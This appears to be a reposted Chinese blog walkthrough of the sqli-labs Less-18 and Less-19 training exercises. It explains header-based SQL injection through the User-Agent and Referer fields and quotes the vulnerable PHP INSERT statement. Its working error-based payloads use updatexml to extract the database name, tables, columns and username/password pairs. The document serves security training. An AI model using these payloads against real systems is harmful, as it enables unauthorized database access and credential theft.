1. 程式人生 > 實用技巧 >sqli-labs Less-18/ Less-19 POST-Header Injection

sqli-labs Less-18/ Less-19 POST-Header Injection

Less-18 POST-Header Injection-Uagent field-Error Based
POST方式,頭部 User-Agent: 注入

Less-19 POST-Header Injection-Referer field-Error based
POST方式,頭部 Referer: 注入

Less-18 / Less-19 方法一樣,只是注入點不同,下面以Less-18為例說明

1. 頁面分析

當登陸失敗時,只會返回使用者的IP地址及登陸失敗的提示圖。
在這裡插入圖片描述

當登陸成功時,會返回使用者的IP地址、user-agent資訊及登陸成功的提示圖。
在這裡插入圖片描述

2. PHP程式碼分析

通過分析程式碼,Username, Password的引數進行了過濾,無法進行注入。

詳細說明請參考Less-17中的說明,https://blog.csdn.net/bigblue00/article/details/108221236 )

程式碼中有插入語句:
$insert=“INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent‘, ‘$IP‘, $uname)”;將useragent和ip插入到資料庫中,可以嘗試利用這個來進行注入,首先這裡要輸入正確的賬號和密碼才能繞過賬號密碼判斷,才能進入處理uagent部分。

3.測試注入點

在user-agent處加上單引號,返回的結果中出現了報錯資訊:

在這裡插入圖片描述

4.獲取資料庫資訊

可嘗試利用基於報錯的注入方法,獲取資料庫資訊:
4.1,獲取資料庫名:
先閉合insert語句,來判斷一下,
user-agent處輸入:1’,1,1,1)#
在這裡插入圖片描述

返回結果中提示:查詢列數不匹配
在這裡插入圖片描述

改成1’,1,1)#後,返回正常,而且沒有報錯,說明成功繞過。也可以確定,insert傳入的是3個引數。在這裡插入圖片描述

4.2、獲取資料名
’ or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) , 1, 1) #
在這裡插入圖片描述

報錯資訊中返回資料庫名:security
在這裡插入圖片描述

4.3、獲取資料表
’ or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) , 1, 1) #

報出表名:users
在這裡插入圖片描述

4.4、獲欄位資訊
’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e),1) , 1, 1) #
查詢到username欄位
在這裡插入圖片描述

’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 5,1),0x7e),1) , 1, 1) #
查詢到password欄位
在這裡插入圖片描述

4.5、獲取username, password 資料

’ or updatexml(1,concat(0x7e,(SELECT concat(username,’|’,password) from users limit 0,1),0x7e),1) , 1, 1) #
在這裡插入圖片描述